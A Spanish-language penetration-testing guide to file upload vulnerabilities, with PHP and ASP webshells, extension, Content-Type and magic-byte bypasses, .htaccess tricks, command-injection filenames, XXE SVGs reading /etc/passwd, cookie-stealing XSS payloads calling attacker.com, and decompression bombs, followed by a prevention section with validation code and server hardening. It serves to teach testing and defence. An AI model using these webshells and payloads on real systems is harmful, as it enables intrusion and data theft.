Skip to content

File Upload Attacks ​

File upload vulnerabilities son una de las vulnerabilidades más peligrosas en aplicaciones web, permitiendo a los atacantes subir archivos maliciosos que pueden llevar a ejecución remota de código (RCE), inclusión local de archivos (LFI), inyecciones XML (XXE), y ataques de denegación de servicio (DoS).


Categorización de Vulnerabilidades de File Upload ​

Las vulnerabilidades de file upload se pueden agrupar en tres categorías principales:

1. Ejecución Directa de Archivos Subidos ​

Vulnerabilidades que permiten subir archivos ejecutables (PHP, ASP, JSP, etc.) que son procesados directamente por la aplicación web, resultando en ejecución remota de código.

2. Combinación con Otras Vulnerabilidades ​

Combinación de file upload con directory traversal, XXE, XSS, o SSRF para amplificar el impacto de la explotación.

3. Vulnerabilidades Basadas en Interacción del Usuario ​

Ataques que requieren que el usuario interactúe con el archivo subido (ej. macros en documentos Office). Este tipo está fuera del alcance de esta guía.


Identificación de Mecanismos de Upload ​

Ubicaciones Comunes de Upload ​

  • CMS (Content Management Systems): Avatar de perfil, creación de posts, archivos adjuntos
  • Aplicaciones empresariales: Secciones de carreras (CVs), cargas de documentos, galerías
  • Aplicaciones de usuario: Perfiles de usuario, fotos, documentos
  • Formularios de feedback/contacto: Evidencia, adjuntos, archivos de soporte

Herramientas para Identificación ​

  • Wappalyzer (extensión navegador): Identifica tecnologías web (Apache, PHP, versiones)
  • Burp Suite / OWASP ZAP: Escaneo activo de vulnerabilidades
  • curl/wget: Pruebas manuales y fuzzing
  • exiftool: Manipulación de metadatos de archivos

Identificación del Framework Web ​

Antes de explotar, es crucial identificar qué lenguaje/framework ejecuta la aplicación:

Métodos de Identificación ​

1. Prueba de Extensión en URLs

bash
# Probar diferentes extensiones en páginas conocidas
curl http://target.com/index.php
curl http://target.com/index.asp
curl http://target.com/index.aspx
curl http://target.com/index.jsp

2. Usar Wappalyzer Instalable en todos los navegadores principales, identifica:

  • Tipo y versión del servidor web
  • Lenguaje de programación
  • Sistema operativo backend
  • Librerías y frameworks

3. Análisis de Headers HTTP

bash
curl -I http://target.com
# Buscar headers como: Server, X-Powered-By, X-AspNet-Version

4. Fuzzing de Archivos

bash
# Usando SecLists para fuzzing de extensiones
# https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt

Tipos de Validación Backend ​

1. Validación Ausente (Arbitrary File Upload) ​

Riesgo: CRÍTICO

La aplicación no valida ningún aspecto del archivo subido.

Explotación:

bash
# Crear un webshell PHP simple
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Subir a través del formulario
# Acceder: http://target.com/uploads/shell.php?cmd=id

Webshell PHP Manual:

php
<?php system($_REQUEST['cmd']); ?>

Webshell ASP Manual:

asp
<% eval request('cmd') %>

2. Validación de Extensión - Blacklist ​

Riesgo: ALTO

La aplicación bloquea una lista de extensiones peligrosas.

Vulnerabilidad: Lista no Completa ​

Apache y otros servidores pueden ejecutar múltiples extensiones:

  • .php, .php3, .php4, .php5, .php7, .phps, .phtml, .phar

Bypass #1: Extensiones Alternativas ​

Método: Usar extensiones menos comunes que no están en la blacklist

bash
# Intentar estas extensiones si .php está bloqueado:
# .php5, .php7, .phps, .phtml, .phar, .inc, .shtml

# Ejemplo en Burp Intruder:
# Fuzzear el nombre del archivo con wordlist de extensiones PHP
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst

Bypass #2: Case-Sensitivity ​

Windows servers tienen nombre de archivos case-insensitive:

bash
# En lugar de: shell.php
# Intentar: shell.pHP, shell.PhP, shell.pHp, shell.PHP

Bypass #3: Configuración de Servidor (.htaccess) ​

Si Apache es el servidor, se puede subir un archivo .htaccess para redefinir cómo ejecuta código:

Paso 1: Crear archivo .htaccess

AddType application/x-httpd-php .l33t

Este archivo le dice a Apache que trate archivos .l33t como PHP.

Paso 2: Subir .htaccess

c
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: application/x-php

AddType application/x-httpd-php .l33t

Paso 3: Subir webshell con extensión personalizada

c
Content-Disposition: form-data; name="avatar"; filename="shell.l33t"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

Acceder: http://target.com/uploads/shell.l33t?cmd=id


3. Validación de Extensión - Whitelist ​

Riesgo: MEDIO

Solo se permiten extensiones específicas.

Bypass #1: Double Extensions ​

Si la whitelist es débil (usa regex sin $ al final):

php
// Código vulnerable
if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
    echo "Only images are allowed";
    die();
}

El regex solo verifica si el nombre CONTIENE una extensión permitida, no si TERMINA con ella.

Explotación:

bash
# Nombre del archivo: shell.jpg.php
# Pasa la validación (contiene .jpg) pero se ejecuta como PHP
# Algunos servidores ejecutan la última extensión

Request HTTP:

c
Content-Disposition: form-data; name="avatar"; filename="shell.jpg.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

Bypass #2: Reverse Double Extension ​

Depende de misconfiguraciones del servidor Apache:

xml
<!-- En /etc/apache2/mods-enabled/php7.4.conf -->
<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

Sin $ al final, coincide con cualquier archivo que CONTENGA .php:

Explotación:

bash
# Archivo: shell.php.jpg
# - Pasa whitelist (termina en .jpg)
# - Apache ejecuta como PHP (contiene .php)

Request HTTP:

c
Content-Disposition: form-data; name="avatar"; filename="shell.php.jpg"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

Acceder: http://target.com/uploads/shell.php.jpg?cmd=id

Bypass #3: Character Injection ​

Inyectar caracteres especiales que confundan al servidor:

Caracteres útiles:

  • %00 (Null Byte - PHP <5.3.4)
  • %20 (Espacio)
  • %0a (Newline)
  • : (Windows Stream)
  • / (Path separator)
  • %0d0a (CRLF)

Ejemplos:

bash
# PHP 5.3.3 y anteriores
# shell.php%00.jpg → guardado como shell.php

# Windows servers
# shell.aspx:.jpg → guardado como shell.aspx (Alternate Data Stream)

# Scripts de fuzzing
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.phps'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done

4. Validación de Content-Type ​

Riesgo: BAJO

La aplicación verifica el header Content-Type enviado por el cliente.

Vulnerabilidad: El Content-Type es controlado por el cliente, no es confiable.

Bypass: Cambiar Content-Type ​

c
// Request original (bloqueado)
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

// Request modificado (permitido)
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>

Herramientas:

  • Burp Suite Repeater: Interceptar y modificar requests
  • curl: curl -F "file=@shell.php" -H "Content-Type: image/png" http://target.com/upload

5. Validación de MIME-Type / Magic Bytes ​

Riesgo: MEDIO-ALTO

La aplicación verifica el contenido del archivo (primeros bytes - "Magic Bytes").

Ejemplos de Magic Bytes:

  • GIF: GIF87a o GIF89a
  • PNG: \x89PNG\r\n\x1a\n
  • JPEG: \xFF\xD8\xFF
  • ZIP: PK\x03\x04

Bypass: Agregar Magic Bytes ​

bash
# Crear archivo PHP con signature de GIF
echo -n 'GIF8' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php

# Verificar con file command
file shell.php
# Output: GIF image data, version 8a

# Subir como shell.php (not shell.gif)
# El servidor detectará MIME-Type como GIF pero ejecutará PHP

Script Python para crear polyglot:

python
#!/usr/bin/env python3
import sys

gif_header = b'GIF89a'
php_code = b'<?php system($_GET["cmd"]); ?>'

with open('polyglot.php', 'wb') as f:
    f.write(gif_header)
    f.write(php_code)

print("[+] Archivo polyglot creado: polyglot.php")

Bypass sin Cambiar Extensión ​

Validación del Cliente (Front-End) ​

Vulnerabilidad: Validación JavaScript que puede ser deshabilitada.

Método 1: Intercepción y Modificación de Request ​

bash
# 1. Capturar request con Burp Suite
# 2. Cambiar filename a shell.php
# 3. Cambiar Content-Type a image/png
# 4. Cambiar contenido del archivo a código PHP
# 5. Enviar request

Método 2: Deshabilitar Validación JavaScript ​

En Firefox:

bash
# 1. Abrir DevTools (F12)
# 2. Inspector > seleccionar campo de upload
# 3. Modificar HTML: eliminar onchange="checkFile()" y accept="..."
# 4. Subir archivo PHP normalmente

Script JavaScript para ejecutar en console:

javascript
// Remover validaciones del formulario
document.getElementById('uploadFile').removeAttribute('accept');
document.getElementById('uploadFile').removeAttribute('onchange');
document.getElementById('submit').removeAttribute('disabled');

Path Traversal en Uploads ​

Riesgo: ALTO

Inyectar path traversal en el nombre del archivo para escribir en directorios arbitrarios.

Bypass #1: Directory Traversal en Filename ​

bash
# Intención: escribir en /var/www/html en vez de /uploads
# Nombre: ../shell.php

# URL Encoded: ..%2fshell.php
# URL Encoded double: ..%252fshell.php

# Ejemplo en POST
Content-Disposition: form-data; name="avatar"; filename="..%2fshell.php"

Acceder:

bash
# En vez de: http://target.com/uploads/shell.php
# Acceder a: http://target.com/shell.php

Ataques Avanzados ​

1. Archivos Polyglot ​

Un archivo que es válido en múltiples formatos simultáneamente.

Usando exiftool para crear PNG/PHP polyglot ​

bash
# Crear archivo polyglot: PNG válido + PHP ejecutable
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.png -o polyglot.php

# El archivo:
# - Es una imagen PNG válida (los visores la abren correctamente)
# - Contiene código PHP en metadatos (ejecutable por servidor)
# - Puede pasar validaciones de MIME-Type y magic bytes

Herramientas útiles:

  • exiftool: Manipular metadatos (https://exiftool.org)
  • imagemagick: Modificar imágenes
  • jpegoptim: Comprimir JPEGs

2. Inyecciones en Nombre de Archivo ​

El nombre del archivo podría ser procesado por comandos del sistema.

Command Injection en Filename ​

bash
# Archivo: shell$(whoami).jpg
# Si se usa en comando: mv shell$(whoami).jpg /uploads/
# Se ejecutaría: whoami

# Variantes:
# shell`whoami`.jpg
# shell.jpg;rm -rf /
# shell.jpg||whoami

SQL Injection en Filename ​

bash
# Archivo: file';select+sleep(5);--.jpg
# Si se inserta en SQL sin escapar, causaría un time-based SQLi

XSS en Filename ​

bash
# Archivo: <script>alert(1)</script>.jpg
# Si se refleja en HTML sin encoding, causaría XSS

3. Attacks en Archivos Permitidos ​

Incluso si solo se permiten ciertos tipos, pueden ser explotables:

SVG + XXE ​

SVG es XML-based, vulnerable a XXE:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(document.domain);</script>
</svg>

SVG + XXE para leer archivos ​

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>&xxe;</svg>

SVG + XXE para leer código fuente (PHP) ​

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<svg>&xxe;</svg>

SVG + XSS Basado en Eventos ​

xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100">
  <circle cx="50" cy="50" r="40" fill="red" onclick="fetch('http://attacker.com/?cookie=' + document.cookie)"/>
</svg>

Imagen con XSS en Metadatos ​

bash
# Usar exiftool para inyectar XSS en metadatos
exiftool -Comment="<img src=x onerror='fetch(\"http://attacker.com?c=\" + document.cookie)'>" image.jpg

# Si la aplicación muestra metadatos en HTML sin encoding, se ejecutará

HTML Upload ​

Si se permite HTML:

html
<html>
<body>
<img src="x" onerror="fetch('http://attacker.com/steal.php?c=' + document.cookie)">
</body>
</html>

Acceso directo: http://target.com/uploads/malicious.html

PDF/Office Documents + XXE ​

Office documents (.docx, .xlsx, .pptx) son archivos ZIP con XML dentro:

bash
# 1. Descomprimir el .docx
unzip malicious.docx -d extracted/

# 2. Modificar XML con XXE
# En extracted/word/document.xml:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE w:document [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document>
    <w:body>
        <w:p>
            <w:r>
                <w:t>&xxe;</w:t>
            </w:r>
        </w:p>
    </w:body>
</w:document>

# 3. Recomprimir
cd extracted && zip -r malicious.docx .

4. Denial of Service (DoS) ​

Decompression Bomb ​

Archivo ZIP con archives anidados que se expanden a tamaños enormes:

bash
# Crear bomb:
dd if=/dev/zero bs=1M count=1000 | gzip > bomb.gz
gzip -c bomb.gz >> bomb.gz  # Nesting

# La aplicación intenta descomprimir → consume toda la RAM → crash

Pixel Flood ​

Imagen JPG/PNG con metadatos manipulados para indicar tamaño falso:

bash
# Crear imagen 500x500, pero editar cabecera para decir 4294967295x4294967295 (4 gigapixeles)
# El servidor intenta asignar memoria para 4 gigapixeles → crash

Large File Upload ​

Subir archivo de tamaño excesivo para llenar disco:

bash
# Si no hay límite de tamaño:
dd if=/dev/zero bs=1M count=10000 of=bigfile.bin
curl -F "file=@bigfile.bin" http://target.com/upload

5. Ataques Windows-Específicos ​

Reserved Characters ​

Caracteres reservados en Windows pueden causar errores:

bash
# Archivo: shell|malicious.php
# Archivo: shell<payload>.php
# Archivo: shell>output.txt.php
# Archivo: shell*.php
# Archivo: shell?.php

Estos causan errores que pueden revelar la ruta de upload.

Reserved Names ​

Nombres reservados de Windows:

bash
# Intentar subir como:
# CON, COM1, COM2, LPT1, LPT2, NUL, PRN, AUX, CONIN$, CONOUT$

# Resultados: Error 403 o similar que revela información

8.3 Filename Convention ​

Windows antigua (años 80) usaba límite de 8 caracteres + extensión.

Los nombres largos se truncaban con ~1, ~2, etc.

bash
# hackthebox.txt puede ser:
# HAC~1.TXT, HAC~2.TXT, etc.

# Explotación: Overwrite archivos
# Subir: WEB~1.CON para overwrite web.conf
# O: APP~1.PHP para app.php

Disclosure de Directorio de Upload ​

Riesgo: MEDIO

Si no se conoce dónde se subieron los archivos, se puede descubrir mediante:

Métodos de Disclosure ​

1. Análisis de Código Fuente (si disponible)

  • Buscar rutas de upload en código PHP/ASP
  • Usar XXE o LFI para leer código fuente

2. Fuzzing de Directorios

bash
# Directorios comunes de upload
/uploads
/upload
/files
/documents
/attachments
/avatars
/profile_images
/public/uploads
/assets/uploads

# Fuzzing con SecLists
# https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt

gobuster dir -u http://target.com -w common.txt

3. Forzar Errores

bash
# - Subir archivo con nombre existente (puede revelar ruta)
# - Subir dos requests simultáneamente
# - Nombre muy largo (5000+ caracteres)
# - Caracteres especiales en nombre

4. Análisis de Response

bash
# La aplicación puede retornar:
# - "File uploaded to: /uploads/shell.php"
# - "Error: Could not write to /var/www/uploads/"
# - Headers con Location: /uploads/shell.php

5. Source-code Inspection

javascript
<!-- En HTML/JavaScript -->
<img src="/uploads/avatar_123.jpg">
<!-- Revela estructura de directorios -->

Prevención y Mitigación ​

1. Validación de Extensión (Backend) ​

Combinar Whitelist + Blacklist:

php
<?php
$fileName = basename($_FILES["uploadFile"]["name"]);

// Blacklist test (bloquear extensiones peligrosas)
if (preg_match('/^.*\.ph(p|ps|ar|tml)/', $fileName)) {
    echo "Restricted file type";
    die();
}

// Whitelist test (solo permitir lo necesario)
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {
    echo "Only images are allowed";
    die();
}
?>

Reglas importantes:

  • Usar ^.*\.ext$ (comienza y TERMINA con extensión)
  • Implementar en backend (nunca confiar en cliente)
  • Bloquear extensiones peligrosas: .php, .php3-7, .phtml, .phar, .asp, .aspx, .jsp, .jspx
  • Whitelist es más seguro que blacklist

2. Validación de Contenido ​

php
<?php
$fileName = basename($_FILES["uploadFile"]["name"]);
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);

// Validar extensión
if (!preg_match('/^.*\.png$/', $fileName)) {
    echo "Only PNG images allowed";
    die();
}

// Validar Content-Type header
if ($contentType !== 'image/png') {
    echo "Invalid Content-Type";
    die();
}

// Validar MIME-Type (magic bytes)
if ($MIMEtype !== 'image/png') {
    echo "File signature doesn't match PNG";
    die();
}

// Asegurar que extensión = contenido
// Si alguna validación falla, rechazar archivo
?>

Validaciones obligatorias:

  • Extensión
  • Content-Type header
  • MIME-Type (magic bytes)
  • Tamaño de archivo
  • Dimensiones (si es imagen)

3. Almacenamiento Seguro ​

php
<?php
// NO guardar con nombre original
// NO en directorio web-accessible
// SI en directorios fuera del webroot

$uploadDir = '/var/uploads/'; // Fuera de /var/www/html
$randomName = bin2hex(random_bytes(16)) . '.' . $extension;
move_uploaded_file($_FILES['uploadFile']['tmp_name'], $uploadDir . $randomName);

// Guardar mapping en database
// filename_original | filename_stored | user_id | timestamp
?>

4. Restricción de Acceso Directo ​

Opción 1: Usar Download Script

php
<?php
// download.php
$fileId = $_GET['id'];
$file = getFileFromDatabase($fileId); // Validar propiedad

// Validar autorización
if ($file['user_id'] !== getCurrentUserId()) {
    header("HTTP/1.1 403 Forbidden");
    die();
}

// Servir con headers seguros
header('Content-Disposition: attachment; filename="' . $file['original_name'] . '"');
header('Content-Type: application/octet-stream');
header('X-Content-Type-Options: nosniff');
readfile('/var/uploads/' . $file['stored_name']);
?>

Opción 2: Bloquear acceso directo

apache
# .htaccess en /uploads/
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

# Bloquear ejecución
php_flag engine off

# Retornar 403 para todo
<FilesMatch ".*">
    Deny from all
</FilesMatch>

5. Configuración del Servidor ​

PHP (php.ini)

ini
# Deshabilitar funciones peligrosas
disable_functions = exec,shell_exec,system,passthru,proc_open,popen,curl_exec,curl_multi_exec

# Limitar tamaño de upload
upload_max_filesize = 10M
post_max_size = 10M

# Limitar tiempo de ejecución
max_execution_time = 30

# Desabilitar URLs remotas
allow_url_include = Off
allow_url_fopen = Off

# Open basedir - restricción de acceso a archivos
open_basedir = /var/www/html:/var/uploads

Apache (apache2.conf)

apache
# Deshabilitar ejecución de scripts en directorio de uploads
<Directory /var/www/html/uploads>
    php_flag engine off
    SetHandler default-handler
    AddType text/plain .php .php3 .php4 .php5 .phtml
</Directory>

# Requerir autenticación para acceso directo
<Directory /var/uploads>
    Deny from all
</Directory>

6. Validación Adicional ​

php
<?php
$file = $_FILES['uploadFile'];
$fileName = basename($file['name']);
$fileTmpName = $file['tmp_name'];
$fileSize = $file['size'];

// 1. Verificar que se subió sin errores
if ($file['error'] !== UPLOAD_ERR_OK) {
    die("Upload error: " . $file['error']);
}

// 2. Verificar tamaño máximo
$maxSize = 10 * 1024 * 1024; // 10 MB
if ($fileSize > $maxSize) {
    die("File too large");
}

// 3. Verificar que es archivo real (not malicious upload)
if (!is_uploaded_file($fileTmpName)) {
    die("Suspicious file upload");
}

// 4. Verificar con finfo para MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $fileTmpName);
finfo_close($finfo);

if (!in_array($mimeType, array('image/jpeg', 'image/png', 'image/gif'))) {
    die("Invalid file type");
}

// 5. Virus scanning (si servidor tiene ClamAV)
// exec("clamscan --quiet --infected $fileTmpName", $output, $return);
// if ($return !== 0) { die("Malware detected"); }
?>

7. Escaneo de Seguridad ​

  • Actualizar librerías: ImageMagick, FFmpeg, etc. regularmente
  • WAF (Web Application Firewall): ModSecurity con reglas OWASP CRS
  • Virus scanning: Integración con ClamAV u similar
  • Logging: Registrar intentos de upload sospechosos
  • Monitoreo: Alertas cuando se ejecutan archivos recién subidos

Herramientas Recomendadas ​

Fuzzing y Testing ​

Manipulación de Archivos ​

  • exiftool: Lectura/modificación de metadatos (https://exiftool.org)
  • ImageMagick: Manipulación de imágenes
  • ffmpeg: Manipulación de video/audio
  • xxd/hexdump: Inspección de bytes
  • file: Identificación de tipo de archivo

Shells y Exploits ​

Testing de MIME Types ​

bash
# Verificar tipo de archivo
file -i shell.php
file -b shell.php

# Verificar con finfo
php -r "echo mime_content_type('shell.php');"

Checklist de Penetration Testing ​

Al realizar un test de file upload, verificar:

  • [ ] ¿Existen funcionalidades de upload?
  • [ ] ¿Qué tipos de archivo se permiten (en frontend y backend)?
  • [ ] ¿Se valida extensión? ¿Blacklist o whitelist?
  • [ ] ¿Se valida Content-Type?
  • [ ] ¿Se valida MIME-Type (magic bytes)?
  • [ ] ¿Se puede cambiar nombre de archivo?
  • [ ] ¿Se permite path traversal en nombre?
  • [ ] ¿Se conoce la ruta de destino?
  • [ ] ¿Se puede acceder directamente a archivos subidos?
  • [ ] ¿Se ejecutan archivos en el directorio de uploads?
  • [ ] ¿Se valida tamaño de archivo?
  • [ ] ¿Hay límite de rate en uploads?
  • [ ] ¿Se registran uploads fallidos?
  • [ ] ¿Se pueden ver metadatos de archivos subidos?

Ejemplos Prácticos Completos ​

Ejemplo 1: RCE Simple con Validación Ausente ​

bash
# 1. Crear webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# 2. Subir a través de formulario
curl -F "file=@shell.php" http://target.com/upload.php

# 3. Ejecutar comandos
curl "http://target.com/uploads/shell.php?cmd=whoami"

Ejemplo 2: Bypass de Blacklist con .htaccess ​

bash
# 1. Crear .htaccess
echo "AddType application/x-httpd-php .l33t" > .htaccess

# 2. Subir .htaccess
curl -F "file=@.htaccess" http://target.com/upload.php

# 3. Crear webshell con extensión personalizada
echo '<?php system($_GET["cmd"]); ?>' > shell.l33t

# 4. Subir webshell
curl -F "file=@shell.l33t" http://target.com/upload.php

# 5. Ejecutar
curl "http://target.com/uploads/shell.l33t?cmd=id"

Ejemplo 3: Content-Type Bypass ​

bash
# Modificar Content-Type en Burp Repeater:
POST /upload.php HTTP/1.1
Host: target.com
Content-Length: 156
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------Boundary--

# O con curl:
curl -F "file=@shell.php;type=image/png" http://target.com/upload.php

Ejemplo 4: MIME-Type Bypass (GIF Magic Bytes) ​

bash
# 1. Crear archivo con GIF signature + PHP code
printf 'GIF89a' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php

# 2. Verificar
file shell.php
# Output: GIF image data, version 89a

# 3. Subir
curl -F "file=@shell.php" http://target.com/upload.php

# 4. Ejecutar
curl "http://target.com/uploads/shell.php?cmd=id"

Ejemplo 5: XXE con SVG ​

bash
# 1. Crear SVG con XXE
cat > malicious.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <text x="0" y="0">&xxe;</text>
</svg>
EOF

# 2. Subir SVG
curl -F "file=@malicious.svg" http://target.com/upload.php

# 3. Ver resultado en página (si metadatos se muestran)
curl http://target.com/uploads/malicious.svg

Conclusión ​

Las vulnerabilidades de file upload son críticas y requieren múltiples capas de validación:

  1. Backend validation siempre (extensión + contenido)
  2. Almacenamiento seguro (nombres aleatorios, fuera de webroot)
  3. Restricción de acceso (sin ejecución en upload dir)
  4. Configuración del servidor (disable_functions, open_basedir)
  5. Logging y monitoreo (detectar patrones sospechosos)

No confiar nunca en validación del cliente y siempre validar desde múltiples ángulos (extensión, MIME-type, magic bytes, tamaño, etc.).